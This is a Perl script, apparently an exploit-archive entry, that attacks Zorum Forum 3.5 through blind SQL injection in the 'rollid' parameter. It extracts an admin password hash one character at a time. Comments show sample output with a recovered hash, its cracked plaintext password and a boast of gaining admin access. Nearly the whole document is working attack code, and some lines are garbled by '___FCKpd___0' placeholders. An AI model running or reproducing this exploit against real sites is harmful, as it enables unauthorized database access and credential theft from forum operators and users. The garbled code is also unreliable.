Zorum Forum 3.5 (rollid) Remote SQL Injection Exploit

#!/usr/bin/perl

use LWP::UserAgent;

# -------------------------------------------------------------------------------------------
# Zorum forum (http://zorum.phpoutsourcing.com/) version 3.5 sql injection exploit
# by 1dt.w0lf // RusH security team
# *** work on all mysql versions
# -------------------------------------------------------------------------------------------
# Usage: r57zor.pl [path] [rollid] [username]
# [path]     - path to forum
# [rollid]   - forum number where user create topic
# [username] - username for bruteforce
# -------------------------------------------------------------------------------------------
# screen:
# r57zor.pl http://zorum.phpoutsourcing.com/forum/ 4 admin
#  Please wait...
#  [################]
#
#  USER_NAME: admin
#  USER_PASS: 32b3956b2024e0fc
# ------------------------------------------------------------------------------------------- 
# well it's just default sql crypting...
#  mysql_crk.exe 32b3956b2024e0fc
#  Hash: 32b3956b2024e0fc
#  Trying length 3
#  Trying length 4
#  Trying length 5
#  Trying length 6
#  Found pass: habzsi
# jabi-dabi-duuuu ... we are admins now... =)
# -------------------------------------------------------------------------------------------
# greets 2: GHC.ru , gst.void.ru
# -------------------------------------------------------------------------------------------
# 01.03.05


$path     = $ARGV[0];
$rollid   = $ARGV[1];
$username = $ARGV[2];

$s_num = 1;
$|++;

if (@ARGV < 2) { &usage; }
print " Please wait...\r\n";
print " [";

### quotes must die =)
($uusername = $username) =~ s/(.)/sprintf("%d,",ord($1))/eg;
$uusername =~ s/(.*),$/$1/;

while(1)
{
if(&found(47,58)==0) { &found(96,122); }
$char = $i;
if ($char=="0")
{
print qq{]

USER_NAME: $username
USER_PASS: $allchar
};
exit();
}
else
{
print "#";
$allchar .= chr($char);
}
$s_num++;
}

sub found($)
{
my $fmin =

___FCKpd___0

[0];
my $fmax =

___FCKpd___0

[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }

$r = int($fmax - ($fmax-$fmin)/2);
$check = " BETWEEN $r AND $fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}

sub crack($)
{
my $cmin =

___FCKpd___0

[0];
my $cmax =

___FCKpd___0

[1];
$i = $cmin;
while ($i<$cmax)
  {
  $crcheck = "=$i";
  if ( &check($crcheck) ) { return $i; }
  $i++;
  }
$i = 0;
return $i;
}

sub check($)
{
$n++;
$ccheck =

___FCKpd___0

[0];
$http_query = $path."index.php?method=showhtmllist&list=topic&rollid=".$rollid." AND u.name=char(".$uusername.") AND ascii(substring(u.password,".$s_num.",1))".$ccheck." /*";
$mcb_reguest = LWP::UserAgent->new() or die;
$res = $mcb_reguest->post($http_query);
@results = $res->content;

#print " HTTP QUERY : $http_query \r\n";

foreach $result(@results)
  {
  if ($result =~ /details/) { return 1; }
  }
return 0;
}

sub usage()
{
print q(
+-------------* Zorum sql injection exploit *--------------+
|                  r57 private stuff !!!                   |
|                   http://rst.void.ru                     |
|---* USAGE *----------------------------------------------|
| r57zor.pl [path] [rollid] [username]                     |
+--------------* view sources for more info *--------------+
);
exit();
}

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